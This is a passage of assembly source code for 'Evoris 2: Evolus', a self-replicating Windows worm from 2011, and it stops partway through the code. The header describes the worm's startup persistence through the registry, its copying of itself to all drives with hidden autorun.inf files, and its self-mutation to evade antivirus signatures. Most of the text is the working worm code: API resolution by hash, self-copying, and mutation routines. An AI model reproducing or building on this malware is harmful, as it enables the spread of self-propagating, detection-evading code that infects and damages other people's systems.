;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Evoris 2: Evolus ;; by SPTH ;; July 2011 ;; ;; ;; This is an advanced version of my Evoris worm from November 2010. ;; ;; The worm takes use of an evolvable meta-language concept, which has ;; been presented in an article "Taking the redpill: Artificial Evolution ;; in native x86 systems" (10.2010), and further in "Learning from Nature: ;; Improved native Artificial Evolution" (07.2011); and analysed in ;; VirusBulletin 03.2011 ("Flibi night"), and VirusBulletin 05.2011 ("Flibi: Evolution"). ;; ;; ;; ;; ;; Metalanguage: ;; It has been shown in different approaches of artificial simulations, ;; that evolution can be achieved if the artificial chemistry fulfills ;; several conditions: A small instruction set, separation of arguments ;; and operations, and non-direct addressing. ;; In an x86 environment, this can be done by creating a special meta- ;; language. The meta-language in this approach is very near connected ;; to the natural biosynthese: ;; ;; Artificial -- Natural ;; Bit -- Nucleobase ;; Byte -- Codon ;; Instruction -- Amino acid ;; Function -- Protein ;; Translator -- tRNA ;; ;; To achieve evolution, it is also required that there are enough ;; neutral mutations. In an short analyse "Mutational Robustness in x86 ;; systems", it has been shown that the most robust concept is meta-langauge ;; with a redundant alphabet. ;; ;; ;; ;; ;; Alphabet: ;; The alphabet contains the base-commands of the language: ;; ;; nopREAL ;; nopsA, nopsB, nopsD, nopdA, nopdB, nopdD ;; save, addsaved ;; saveWrtOff, saveJmpOff ;; writeByte, writeDWord, ;; getDO, getdata, getEIP ;; push, pop, pushall, popall ;; add0001, sub0001 ;; shl, shr, xor, and ;; mul, div ;; JnzUp, JnzDown, call ;; CallAPILoadLibrary ;; ;; These are the 32 commands of the metalanguage. Each command is represented ;; by a 8bit value. As there are 256 (2^8) possibilities to write a 8bit ;; code there is a big source for redundancy - just as in nature, where 20 ;; amino acids are coded by 64 (4^3) possibilities to write the nucleobases. ;; ;; It would be possible to decrease the size of the instruction set further ;; (in "Flibi: Evolution" it's shown that a set of 18 instructions is enough ;; to perform the same functionality), but this leads to evolutionary negative ;; effects. ;; ;; ;; ;; ;; Start- and Stop-codons: ;; In natural biosynthesis, an functional code starts by an initialization ;; codon (START), and ends with a termination codon (STOP). Parts between STOP ;; and START are called Introns and will be cutted out before translation. ;; This process is called Splicing. A similar concept has been created too for ;; these artificial organisms - and it can lead to unexpected good results such ;; as macro- and behaviour mutation. ;; ;; ;; ;; ;; Evolvable API calls: ;; kernel32.dll and advapi32.dll are loaded thru LoadLibraryA. The export ;; table is parsed, and a 12bit hash of the exported API is created. If that ;; hash is the same as a hardcoded 12bit hash in the file, the API address is ;; saved. ;; The idea is: there are ~1000 exported APIs in kernel32.dll, there are ;; ~4000 possibilities how to write a 12bit code. That means, by a single ;; bit-flip of the API hash, there is a possibility of ~25% that a new ;; valid API will be called. ;; ;; ;; ;; ;; To achieve evolution it is necessary to have replication, mutation ;; and selection. ;; ;; ;; Replication: ;; It makes a registry-entry to start at every Windows Startup. ;; All ~25sec it searchs for all removeable, network, fixed drives and ;; copies itself to them. For removable and network drives, it creates a ;; hidden autorun.inf: ;; - - - ;; [Autorun] ;; ShellExecute=filename.exe ;; UseAutoplay=1 ;; - - - ;; ;; ;; ;; ;; Mutation: ;; The program can use several types of mutations: ;; ;; Bitflip (point mutation): it changes a single bit of the code ;; ;; XCHG (Inversion): it exchanges the position of 8 bytes (8 commands) ;; ABCD EFGH -> EFGH ABCD (25.0%) ;; ;; Insertion/Deletion: it can move some part of the code, and fill the ;; rest with NOPs (20%) ;; ;; Horizontal gene transfer: It is able to copy code from foreign files ;; and insert it into its offspring (same idea ;; as bacteria use to rapidly distribute functions ;; such as antibiotica resistancy. ;; ;; Polymorphism: Neutral Codon Exchange: ;; The worm searchs its alphabet for equal amino acids, ;; if it finds some equivalent once, it goes thru its ;; codon stream and exchange those equivalences. ;; ;; ;; ;; ;; Selection: ;; The natural selection for malware will come from antivirus scanners. ;; As soon as the signature of a certain representation of the worm is ;; in the database of AV programs, it can not spread alot anymore. Just those ;; mutations can spread, which are so different to the original in the ;; database, that it is not recognized anymore. This is a very natural ;; selection process. ;; There may be other selective advantages such as new functionalities - for ;; a more detailed see the article mentioned above. ;; ;; ;; ;; ;; Including Introns: ;; To include introns, a C++ file has been created, as FASM Macro language ;; is much too slow for this task. ;; ;; ;; ;; Compiler Polymorphism: ;; There are two different FASM macro-language polymorphisms with the effect ;; that two different Evolus organism look different. ;; ;; -> The first polymorphism takes use of the redundance of the alphabet. ;; Each codon is a macro call, which returns one of the possible pointer ;; to the responding amino acid. (Let's say, _save has 3 representations: ;; 1,2,3 - then the _save-macro writes randomly one of these into the file) ;; The evolutionary advantage is that the codons are equally distibuted, ;; and the risk of a mutation is spread over all codons. ;; ;; -> It is possible, instead of using an optimized alphabet (CreateRandomAlphabet-macro) ;; to use a randomly mixed alphabet (CreateBalancedAlphabet). This can be ;; selected in the CreateAlphabet-Macro. ;; ;; ;; ;; ;; Tested at WinXP SP3, but it should also work with WinVista+. ;; ;; ;; ;; ;; Thanks to: hh86 && qkumba ;; Greets goes to herm1t, roy g biv, alcopaul, Mostafa Saleh, all ex-rRlf members & ;; & all serious researchers ;; ;; ;; ;; ;; Evoris comes from a unification of Evolution and Virus, Evolus is the ;; evolved Evoris. :) ;; ;; ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include 'E:\Programme\FASM\INCLUDE\win32ax.inc' RndNum = %t AND 0xFFFF'FFFF macro GetNewRandomNumber { RndNum = ((RndNum*214013+2531011) AND 0xFFFF'FFFF) } macro CreateNOPString { GetNewRandomNumber if ((RndNum SHR 16) MOD 2)=0 while ((RndNum SHR 16) MOD 15)<>0 GetNewRandomNumber if ((RndNum SHR 16) MOD 15)=0 nop end if if ((RndNum SHR 16) MOD 15)=1 mov eax, eax end if if ((RndNum SHR 16) MOD 15)=2 shr ecx, 0 end if if ((RndNum SHR 16) MOD 15)=3 shl edi, 0 end if if ((RndNum SHR 16) MOD 15)=4 add eax, 0 end if if ((RndNum SHR 16) MOD 15)=5 and eax, -1 end if if ((RndNum SHR 16) MOD 15)=6 xor eax, 0 end if if ((RndNum SHR 16) MOD 15)=7 sub ebp, 0 end if if ((RndNum SHR 16) MOD 15)=8 or esi, 0 end if if ((RndNum SHR 16) MOD 15)=9 xchg eax, eax end if if ((RndNum SHR 16) MOD 15)=10 push ebx pop ebx end if if ((RndNum SHR 16) MOD 15)=11 pushad mov edi, RndNum popad end if if ((RndNum SHR 16) MOD 15)=12 db 0xEB,0x00 ; jmp next; next: end if if ((RndNum SHR 16) MOD 15)=13 and ebx, ebx end if if ((RndNum SHR 16) MOD 15)=14 push ebp add ebp, RndNum pop ebp end if GetNewRandomNumber end while end if } .data include 'data_n_equs.inc' ; a db "Am I allowed to live?",0x0 ; b db "In evolution we trust",0x0 .code start: ; invoke Sleep, 1000 CreateNOPString CreateNOPString CreateNOPString CreateNOPString CreateNOPString CreateNOPString CreateNOPString CreateNOPString ; invoke MessageBox, 0x0, a, b, 0x0 AlignedSize=0x1'0000 while ((EndAmino-StAmino)*8)>AlignedSize AlignedSize=AlignedSize+0x1'0000 end while CreateNOPString invoke VirtualAlloc, \ 0x0, \ AlignedSize, \ 0x1000, \ PAGE_EXECUTE_READWRITE CreateNOPString mov [Place4Life], eax CreateNOPString mov eax, 0x0 ; EAX will work as Splicing seperator CreateNOPString mov edx, 0x0 ; EDX will be used as the counter of this loop CreateNOPString WriteMoreToMemory: mov ebx, 0x0 ; EBX=0; CreateNOPString mov bl, byte[edx+StAmino] ; BL=NUMBER OF AMINO ACID CreateNOPString cmp bl, StartCodon ; If we found a start codon, adjust Splicing seperator jne SplicingNoStart CreateNOPString mov eax, 0x0 CreateNOPString SplicingNoStart: cmp bl, StopCodon ; If we found a stop codon, adjust Splicing seperator jne SplicingNoStop CreateNOPString mov eax, 0x91 ; 0x91 = 1001 0001 CreateNOPString SplicingNoStop: or bl, al ; SPLICING! CreateNOPString shl ebx, 3 ; EBX*=8; CreateNOPString mov esi, StartAlphabeth ; ESI ... Alphabeth offset CreateNOPString add esi, ebx ; ESI+=EBX; ESI ... offset of the current amino acid CreateNOPString mov ebx, edx ; EBX ... current number of amino acid CreateNOPString shl ebx, 3 ; EBX ... lenght of amino acids before this one CreateNOPString mov edi, [Place4Life] ; EDI ... Memory address CreateNOPString add edi, ebx ; Offset of current memory for 8 byte code CreateNOPString mov ecx, 8 ; ECX ... 8 CreateNOPString rep movsb ; Write ECX bytes from ESI to EDI CreateNOPString ; Write 8 bytes from Alphabeth to Memory inc edx ; Increase EDX CreateNOPString cmp edx, (EndAmino-StAmino) jne WriteMoreToMemory CreateNOPString call [Place4Life] ; Lets start!!! ; ################################################################## ; Alphabeth StartAlphabeth: include 'alphabeth.inc' CreateAlphabet EndAlphabeth: ; ################################################################## include 'instruction_set_macros.inc' ; ################################################################## ; Amino Acids StAmino: ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ##### ; ##### Here the genom gets the Addresses of the Windows APIs. ; ##### It loads via LoadLibrary the kernel32.dll and advapi32.dll, ; ##### searchs in the Export Table for the adequade API (creating ; ##### an internal 12 bit checksum, and compares it with some hardcoded ; ##### 12bit values). This procedere should be evolvable. ; ##### ; ##### Optimum would have been to call the Windows APIs by its ; ##### Ordinal Numbers, but they change at every release of Windows. ; ##### ; ##### At Linux, evolvable API calls are already presented, as you ; ##### call int 0x80 with a specific number in eax which represents ; ##### the API number. ; ##### ; ##### ; ; The Hash-Algo is equivalent to: ; =============================== ; ;;FindAPIGiveMeTheHash: ;; In: ebx=pointer to API name ;; Out: eax=Hash (in ax) ;; changed: eax ;; mov ebx, apistr ; ; push ebx ; push ecx ; push edx ; xor eax, eax ; xor ecx, ecx ; dec ebx ; FindAPIGiveMeTheHashMore: ; inc ebx ; mov ecx, dword[ebx] ; xor eax, ecx ; mov edx, ecx ; ecx=nooo - n ... new byte ; shr edx, 8 ; edx=000n ... new byte ; cmp dl, 0 ; dl=n ; jne FindAPIGiveMeTheHashMore ; ; and eax, 0x0FFF ; pop edx ; pop ecx ; pop ebx ;ret StAminoAcids1: ; repeat 100 ; _nopREAL ; end repeat db _START db _STOP db _START GetAddress mCloseHandle _saveWrtOff _zer0 0 addnumber 0x0342 _writeDWord GetAddress mCopyFileA _saveWrtOff _zer0 0 addnumber 0x0C5C _writeDWord GetAddress mCreateFileA _saveWrtOff _zer0 0 addnumber 0x0615 _writeDWord GetAddress mCreateFileMappingA _saveWrtOff _zer0 0 addnumber 0x04E1 _writeDWord GetAddress mCreateProcessA _saveWrtOff _zer0 0 addnumber 0x0674 _writeDWord GetAddress mGetDriveTypeA _saveWrtOff _zer0 0 addnumber 0x0AFD _writeDWord GetAddress mGetCommandLineA _saveWrtOff _zer0 0 addnumber 0x06A8 _writeDWord GetAddress mGetFileSize _saveWrtOff _zer0 0 addnumber 0x083B _writeDWord GetAddress mWriteFile _saveWrtOff _zer0 0 addnumber 0x078B _writeDWord GetAddress mGetTickCount _saveWrtOff _zer0 0 addnumber 0x01B4 _writeDWord GetAddress mMapViewOfFile _saveWrtOff _zer0 0 addnumber 0x05EE _writeDWord GetAddress mSleep _saveWrtOff _zer0 0 addnumber 0x07F9 _writeDWord GetAddress mFindFirstFileA _saveWrtOff _zer0 0 addnumber 0x094A _writeDWord GetAddress mFindNextFileA _saveWrtOff _zer0 0 addnumber 0x0FE1 _writeDWord GetAddress mUnmapViewOfFile _saveWrtOff _zer0 0 addnumber 0x01D1 _writeDWord GetAddress mSetErrorMode _saveWrtOff _zer0 0 addnumber 0x0CBB _writeDWord GetAddress mRegCreateKeyA _saveWrtOff _zer0 0 addnumber 0x0EDC _writeDWord GetAddress mRegSetValueExA _saveWrtOff _zer0 0 addnumber 0x0845 _writeDWord GetAddress stDLLkernel32 ; write "kernel32.dll" and "advapi32.dll" _saveWrtOff ; to the data-section. This will be used _nopdA ; by LoadLibraryA as argument later _zer0 0 addnumber 'kern' _writeDWord _nopsA addnumber 4 _saveWrtOff _nopdA _zer0 0 addnumber 'el32' _writeDWord _nopsA addnumber 4 _saveWrtOff _nopdA _zer0 0 addnumber '.dll' _writeDWord GetAddress stDLLadvapi32 _saveWrtOff _nopdA _zer0 0 addnumber 'adva' _writeDWord _nopsA addnumber 4 _saveWrtOff _nopdA _zer0 0 addnumber 'pi32' _writeDWord _nopsA addnumber 4 _saveWrtOff _nopdA _zer0 0 addnumber '.dll' _writeDWord GetAddress stDLLkernel32 _push _CallAPILoadLibrary ; invoke LoadLibrary, "kernel32.dll" GetAddress hDLLlibrary32 _saveWrtOff _nopsA _writeDWord ; mov dword[hDLLkernel32], eax _save ; Save kernel32.dll position addnumber 0x3C _getdata ; mov RegB, dword[hDLLkernel32+0x3C] ; = Pointer to PE Header of kernel32.dll _addsaved ; relative -> absolut addnumber 0x78 _getdata ; Export Tables _addsaved ; relative -> absolut addnumber 0x1C ; Addresse Table _nopdA ; temporarily save Offset of Addresse Table in RegA GetAddress hAddressTable _saveWrtOff ; WriteOffset=hAddressTable _nopsA ; restore RegA=Addresse Tables _getdata ; Pointer To Addresse Table _addsaved ; relative -> absolut _writeDWord ; mov dword[hAddressTable], (Pointer to Addresse Table) GetAddress hNamePointerTable _saveWrtOff ; WriteOffset=hNamePointerTable _nopsA ; BC1=Addresse Table addnumber 4 ; BC1=Name Pointer Table _nopdA _getdata ; Pointer To Name Table _addsaved ; relative -> absolut _writeDWord ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table) GetAddress hOrdinalTable _saveWrtOff ; WriteOffset=hOrdinalTable _nopsA addnumber 4 ; BC=Pointer to Ordinal Table _getdata ; Ordinal Table _addsaved ; relative -> absolut _writeDWord ; mov dword[hOrdinalTable], (Pointer to Ordinal Table) GetAddress APINumber _saveWrtOff _zer0 1 addnumber APINumberKernel _writeDWord ; Save number of kernel32.dll APIs GetAddress hAddressePointer _saveWrtOff GetAddress APIAddresses _writeDWord ; Saves the AddressePointer GetAddress hMagicNumberPointer _saveWrtOff GetAddress APIMagicNumbersKernel _writeDWord ; Saves the MagicNumber Pointer _zer0 0 addnumber 43 _push ; FindAllAPIs _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip - for further API searching in different DLLs _pushall _zer0 0 _nopdB ; RegB = Counter for first instance loop = 0 GetAddress hAddressePointer _getdata _nopdA ; RegA = Pointer to Buffer for API Addresse GetAddress hMagicNumberPointer _getdata _nopdD ; RegD = Pointer to Magic Numbers for APIs ; FindAllAPIsNext _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip _pushall ; RegA=free | used for pointer within the Name Pointer Table ; RegB=free | used as temporary buffer ; RegD=MagicNumber for API ; Stack: | counter (number of APIs checked in kernel32.dll) GetAddress hNamePointerTable _getdata _nopdA ; Pointer to Name Pointer Table (points to first API) _zer0 0 _sub0001 _push ; counter ; SearchNextAPI: _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip _pop addnumber 0x1 ; counter++ _push GetAddress hDLLlibrary32 _getdata _save ; kernel32.dll position _nopsA ; Pointer to NamePointerTable _getdata ; Points to API name _addsaved ; relative -> absolut _sub0001 ; -- (for algorithm) _nopdB ; save Pointer to API name _nopsA addnumber 4 ; Points to next API name _nopdA ; Has just effects in next loop _pushall _zer0 0 _nopdA _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip _nopsA _save ; RegA=MagicNumber _nopsB addnumber 1 _nopdB ; BC1=NamePointer++ _getdata ; BC1=dword[NamePointer+n] _addsaved ; BC1=BC1 + BC2 = dword[NamePointer+n] xor MagicNumber _nopdA _zer0 0 addnumber 8 _save _nopsB _getdata ; BC1=nxxx _shr ; BC1=???n _push _zer0 0 addnumber 0xFF _save ; BC2=0xFF _pop ; BC1=???n _and ; BC1=000n _JnzUp GetAddress APITmpBuffer _saveWrtOff _nopsA _writeDWord ; mov dword[APITmpBuffer], RegA _popall GetAddress APITmpBuffer _getdata _nopdB ; save MagicNumber of this API _zer0 0 addnumber 0x0FFF _save ; save 0x0FFF in BC2 _nopsB _and ; BC1=dword[MagicNumberOfThisAPI] && 0x0FFF _nopdB _nopsD ; Get Pointer to API MagicWord _getdata _and ; BC1=dword[MagicNumberSearchAPI] && 0x0FFF _save ; save _nopsB ; Get MagicNumber of current API again _xor ; (dword[MagicNumberSearchAPI] && 0x0FFF) XOR dword[MagicNumberOfThisAPI] && 0x0FFF ; If zero, assume that we found API _JnzUp _zer0 0 addnumber 1 _save ; BC2=1 _pop ; Get Counter from Stack _shl ; BC1=counter*2 (because Ordinal Table has just 2byte Entries) ; (=no DLLs with more than 65535 functions?!) _save GetAddress hOrdinalTable _getdata _addsaved ; Points to ordinal number of the API _push _zer0 0 addnumber 0xFFFF _save _pop ; BC2=0xFFFF _getdata ; BC1=Ordinal Number of API ; Ordinal Number is a word, so we have to set the high word to zero _and ; BC1=dword[Ordinal] && 0xFFFF _push _zer0 0 addnumber 2 _save _pop _shl ; BC1=Ordinal*4, as Addresse to Function is a dword _save GetAddress hAddressTable _getdata _addsaved ; BC1 points to Addresse of API Function _getdata ; BC1=Addresse of API Function _save GetAddress hDLLlibrary32 _getdata _addsaved ; relative -> absolut ; BC1 contains the Addresse of the API in (kernel32) memory _nopdB ; save the Addresse in RegB GetAddress hAddressePointer _getdata ; Pointer to the buffer where we save the API addresse _saveWrtOff ; We will write to this Addresse _nopsB ; restore API Addresse _writeDWord ; Save the API Function Addresse in the Function Buffer!!! _popall GetAddress hAddressePointer _saveWrtOff ; The buffer where we save the pointer _nopsA addnumber 0x4 ; Next Buffer for API Adresse _writeDWord ; save pointer _nopdA ; save different (prevents a more messy code) _nopsD ; Next Magic Number for API addnumber 0x4 _nopdD _nopsB addnumber 0x1 ; Increase API-Counter _nopdB _save GetAddress APINumber _getdata _subsaved 0 ; cmp Counter, APINumber _JnzUp ; Jnz FindAllAPIsNext ; end FindAllAPIsNext _popall ; FoundAPI ; end FindAllAPIs in kernel32.dll GetAddress stDLLadvapi32 _push _CallAPILoadLibrary ; invoke LoadLibrary, "kernel32.dll" GetAddress hDLLlibrary32 _saveWrtOff _nopsA _writeDWord ; mov dword[hDLLkernel32], eax _save ; Save kernel32.dll position addnumber 0x3C _getdata ; mov RegB, dword[hDLLkernel32+0x3C] ; = Pointer to PE Header of kernel32.dll _addsaved ; relative -> absolut addnumber 0x78 _getdata ; Export Tables _addsaved ; relative -> absolut addnumber 0x1C ; Addresse Table _nopdA ; temporarily save Offset of Addresse Table in RegA GetAddress hAddressTable _saveWrtOff ; WriteOffset=hAddressTable _nopsA ; restore RegA=Addresse Tables _getdata ; Pointer To Addresse Table _addsaved ; relative -> absolut _writeDWord ; mov dword[hAddressTable], (Pointer to Addresse Table) GetAddress hNamePointerTable _saveWrtOff ; WriteOffset=hNamePointerTable _nopsA ; BC1=Addresse Table addnumber 4 ; BC1=Name Pointer Table _nopdA _getdata ; Pointer To Name Table _addsaved ; relative -> absolut _writeDWord ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table) GetAddress hOrdinalTable _saveWrtOff ; WriteOffset=hOrdinalTable _nopsA addnumber 4 ; BC=Pointer to Ordinal Table _getdata ; Ordinal Table _addsaved ; relative -> absolut _writeDWord ; mov dword[hOrdinalTable], (Pointer to Ordinal Table) GetAddress APINumber _saveWrtOff _zer0 0 addnumber APINumberAdvapi _writeDWord ; Save number of kernel32.dll APIs GetAddress hAddressePointer _saveWrtOff GetAddress APIAddressesReg _writeDWord ; Saves the AddressePointer GetAddress hMagicNumberPointer _saveWrtOff GetAddress APIMagicNumbersReg _writeDWord ; Saves the MagicNumber Pointer _zer0 0 addnumber 42 _save _pop _sub0001 _push addnumber 1 _xor _JnzUp _pop ; Remove trash from stack _zer0 0 addnumber 0x8007 _push CallAPI hSetErrorMode CallAPI hGetTickCount ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ##### ; ##### First child ... ; ##### GetAddress RandomNumber _saveWrtOff _nopsA _writeDWord ; mov dword[RandomNumber], RegA _zer0 0 _nopdB ; mov RegB, 0 ; RndNameLoop: _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov esi, eip GetAddress RandomNumber _getdata _nopdA ; mov eax, [RandomNumber] _zer0 0 _nopdD ; mov edx, 0 addnumber 26 _div ; div ebx _nopsD addnumber 97 _nopdD ; add edx, 97 _nopsB ; ebx=ebp=count _save ; ebp=ebx=ecx=count GetAddress RandomFileName ; ebx=rfn, ebp=ecx=count _addsaved ; ebx=rfn+count, ebp=ecx=count _saveWrtOff ; edi=rfn+count, ebx=rfn+count, ebp=ecx=count _nopsD _writeByte ; mov byte[ecx+RandomFileName], dl CalcNewRandNumberAndSaveIt _nopsB addnumber 1 _nopdB _save ; inc counter _zer0 1 addnumber 8 _subsaved 0 ; cmp counter, 8 _JnzUp ; jnz esi ; loop RndNameLoop GetAddress rndext _saveWrtOff _zer0 0 addnumber ".exe" _writeDWord ; create extention CallAPI hGetCommandLineA _zer0 0 addnumber 0xFF _save _nopsA _getdata _and _nopdB ; RegB=1st byte of filename _zer0 0 addnumber 34 ; " _nopdD ; RegD=34 _nopsB _save _nopsD _subsaved 0 _JnzDown _nopsA _add0001 _nopdA _nopREAL _nopsA _push ; Save RegA at stack ; FindEndOfString: _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov esi, eip _nopsA addnumber 1 _nopdA _zer0 0 addnumber 0xFF _save _nopsA _getdata _and _nopdD ; RegD=(dword[Name+count]&& 0xFF) _zer0 0 addnumber 34 ; " _save _nopsB ; 1st Byte of filename _subsaved 1 _JnzDown _nopsD _xor _JnzUp _nopREAL ; EndFindEndOfString: _nopsA _saveWrtOff _zer0 1 addnumber 34 ; " _nopsB ; 1st Byte of filename _subsaved 0 _JnzDown _save _xor _writeByte _nopREAL _pop _nopdA GetAddress Driveletter3-1 _saveWrtOff _zer0 0 addnumber 0x5C3A4300 ; 0x0, "C:\" _writeDWord GetAddress virusname _saveWrtOff _zer0 0 addnumber "evol" _writeDWord GetAddress virusname+4 _saveWrtOff _zer0 0 addnumber "usss" _writeDWord ; Construct virusfilename GetAddress virext _saveWrtOff _zer0 0 addnumber ".exe" _writeDWord ; create extention _nopsA _push ; Save pointer to filename buffer _zer0 0 _push GetAddress Driveletter3 _push _nopsA _push CallAPI hCopyFileA ; Copy myself to C:\VIRUSNAME!!! (will not be mutated) _pop _nopdA _zer0 0 _push GetAddress RandomFileName _push _nopsA _push CallAPI hCopyFileA ; Make a copy of myself with random name ; this copy will be mutated and spreaded _zer0 0 _push _push addnumber 3 _push _zer0 0 _push addnumber 1 _push _sub0001 addnumber 0xC0000000 _push GetAddress RandomFileName _push CallAPI hCreateFileA GetAddress FileHandle _saveWrtOff _nopsA _writeDWord ; mov dword[FileHandle], RegA _save GetAddress FileSize _push _zer0 1 _addsaved _push CallAPI hGetFileSize GetAddress FileSize _saveWrtOff _nopsA _writeDWord ; mov dword[FileSize], RegA _zer0 1 _push _addsaved _push _zer0 0 _push addnumber 4 _push _zer0 0 _push GetAddress FileHandle _getdata _push CallAPI hCreateFileMappingA GetAddress MapHandle _saveWrtOff _nopsA _writeDWord ; mov dword[MapHandle], RegA _save GetAddress FileSize _getdata _push ; [FileSize] _zer0 1 _push ; 0 _push ; 0 addnumber 2 _push _zer0 1 _addsaved _push ; MapHandle CallAPI hMapViewOfFile GetAddress MapPointer _saveWrtOff _nopsA _writeDWord ; mov dword[MapPointer], RegA _nopsA _nopdB ; mov RegB, RegA+AminoStartInMap ; ############################################################################ ; ############################################################################ ; ##### ; ##### Here the mutation happens: Bitmutation, exchange of codons, ... ; ##### ;ANextByteInChain: _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip _nopsB _push ; push counter ; ############################################################################ ; ##### Start Bit-Flip Mutation (Point-Mutation) _zer0 0 addnumber 12 _save GetAddress RandomNumber _getdata _shr _push _zer0 0 addnumber 7 _save _pop _and ; BC1=[RandomNumber shr 12] && 0111b _save _zer0 1 addnumber 1 _shl ; shl BC1, BC2 _save _pop _push _saveWrtOff ; BA1=[MapPointer]+counter _getdata ; mov BC1, dword[BC1] _xor ; xor BC1, BC2 _nopdB ; save changed byte _zer0 0 addnumber 7 _save GetAddress RandomNumber _getdata _nopdA _zer0 1 _nopdD addnumber VarThreshold1 _div _nopsD _subsaved 0 _JnzDown _nopsB ; restore _writeByte ; save mutation! _nopREAL _nopREAL ; ##### Finished Bit-Flip Mutation (Point-Mutation) ; ############################################################################ CalcNewRandNumberAndSaveIt ; ############################################################################ ; ##### Start codons exchange GetAddress xchgBuffer _saveWrtOff _pop _push ; get counter _getdata _writeDWord ; xchgBuffer=dword[counter] _pop _push ; get counter _saveWrtOff ; save destination for potential writing addnumber 4 _getdata _nopdB ; RegB=dword[counter+4] _zer0 0 addnumber 7 _save GetAddress RandomNumber _getdata _nopdA _zer0 1 _nopdD addnumber xchgThreshold1 _div _nopsD _subsaved 0 _JnzDown ; if not zero, dont exchange codons _nopsB ; restore _writeDWord ; save mutation! _nopREAL _nopREAL GetAddress xchgBuffer _getdata _nopdB _pop _push ; get counter addnumber 4 _saveWrtOff _zer0 0 addnumber 7 _save GetAddress RandomNumber _getdata _nopdA _zer0 1 _nopdD addnumber xchgThreshold1 _div _nopsD _subsaved 0 _JnzDown ; if not zero, dont exchange codons _nopsB ; restore _writeDWord ; save mutation! _nopREAL _nopREAL CalcNewRandNumberAndSaveIt _pop addnumber 1 _nopdB ; inc counter GetAddress MapPointer _getdata _save _zer0 1 GetAddress FileSize _getdata _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 ; Dont mutate the last 9 bytes because of xchg problems _addsaved _save ; mov save, [MapPointer]+GenomEndInMap _nopsB _subsaved 0 ; cmp counter, [MapPointer]+GenomEndInMap _JnzUp ; jnz esi ; loop ANextByteInChain ; ##### Finished codons exchange ; ############################################################################ ; ############################################################################ ; ##### Start of NOP Insertion ; ; nBeforeIns = rand() % FileSize ; nBlockSize = (rand() % 32) + 1 ; nByteBlockToMov = (rand() % (FileSize-nBeforeIns)) + 1 ; ; InsStart = MapPoint + nBeforeIns ; BlockEndBefore = MapPoint + nBeforeIns + nByteBlockToMov ; InsEnd = MapPoint + nBeforeIns + nBlockSize ; BlockEndAfter = MapPoint + nBeforeIns + nBlockSize + nByteBlockToMov ; ; File before NOP Insertion: File after NOP Insertion: ; ; | ---------------- MapPoint | ---------------- MapPoint ; | \ | \ ; | \ | \ ; | > nBeforeIns | > nBeforeIns ; | / | / ; | / | / ; | --------------- InsStart | --------------- InsStart ; | \ | \ ; _nopREAL ; | \ | > nBlockSize ; _nopREAL ; | \ | / ; _nopREAL ; | > nByteBlockToMov | --------------- InsEnd ; | / | \ ; | / | \ ; | / | \ ; | --------------- BlockEndBefore | > nByteBlockToMov ; | | / ; | | / ; | | / ; | | --------------- BlockEndAfter ; | | ; | Rest of file | ; | | ; | | Rest of file* ; | | ; | | ; | ---------------- | ---------------- ; ; In PseudoCode: ; ============== ; ; c=nByteBlockToMov; ; do ; *(InsEnd+c)==*(InsStart+c) ; while --c ; ; c=nBlockSize; ; do ; *(InsStart+c)==_nopREAL ; while --c ; ; ; GetAddress RandomNumber _getdata _nopdA _zer0 0 _nopdD addnumber InsertThreshold1 _div _nopsD _push ; Save Result = (rand() % InsertThreshold1) CalcNewRandNumberAndSaveIt GetAddress RandomNumber ; -> nBeforeIns = rand() % FileSize _getdata _nopdA ; mov RegA, [RandomNumber] _zer0 0 _nopdD ; mov RegD, 0 GetAddress FileSize _getdata _nopdB ; RegB=FileSize _div ; div BC1 <- RegD = rand() % FileSize = nBeforeIns GetAddress InsStart _saveWrtOff _nopsD ; BC1=nBeforeIns _save ; BC2=nBeforeIns _nopsB ; BC1=FileSize _subsaved 1 ; BC1=(FileSize-nBeforeIns) _nopdB ; RegB=(FileSize-nBeforeIns) GetAddress MapPointer _getdata ; BC1=MapPoint _addsaved ; BC1=MapPoint + nBeforeIns = InsStart _writeDWord ; !!! InsStart=MapPoint + nBeforeIns _push CalcNewRandNumberAndSaveIt ; -> nBlockSize = rand() % 32 GetAddress nBlockSize _saveWrtOff GetAddress RandomNumber _getdata _nopdA ; mov RegA, [RandomNumber] _zer0 0 _nopdD ; mov RegD, 0 addnumber 32 _div ; div BC1 <- RegD = rand() % 32 = nBlockSize _nopsD ; BC1=nBlockSize addnumber 1 _writeDWord ; !!! nBlockSize _save ; BC2=nBlockSize GetAddress InsEnd _saveWrtOff _pop ; BC1 = InsStart _addsaved ; BC1 = InsStart + nBlockSize = InsEnd _writeDWord ; !!! InsEnd CalcNewRandNumberAndSaveIt ; -> nByteBlockToMov = rand() % (FileSize-nBeforeIns) GetAddress nByteBlockToMov _saveWrtOff GetAddress RandomNumber _getdata _nopdA ; mov RegA, [RandomNumber] _zer0 0 _nopdD ; mov RegD, 0 _nopsB ; BC1=(FileSize-nBeforeIns) _div _nopsD ; BC1=nByteBlockToMov addnumber 1 _writeDWord ; !!! nByteBlockToMov ;;;;;;;;;;;;;;;;;;;;;;; ; c=nByteBlockToMov; ; do ; *(InsEnd+c)==*(InsStart+c) ; while --c GetAddress InsStart _getdata _nopdA ; RegA=InsStart GetAddress InsEnd _getdata _nopdB ; RegB=InsEnd GetAddress nByteBlockToMov _getdata _nopdD ; RegD=nByteBlockToMov=c ; do _getEIP _sub0001 _sub0001 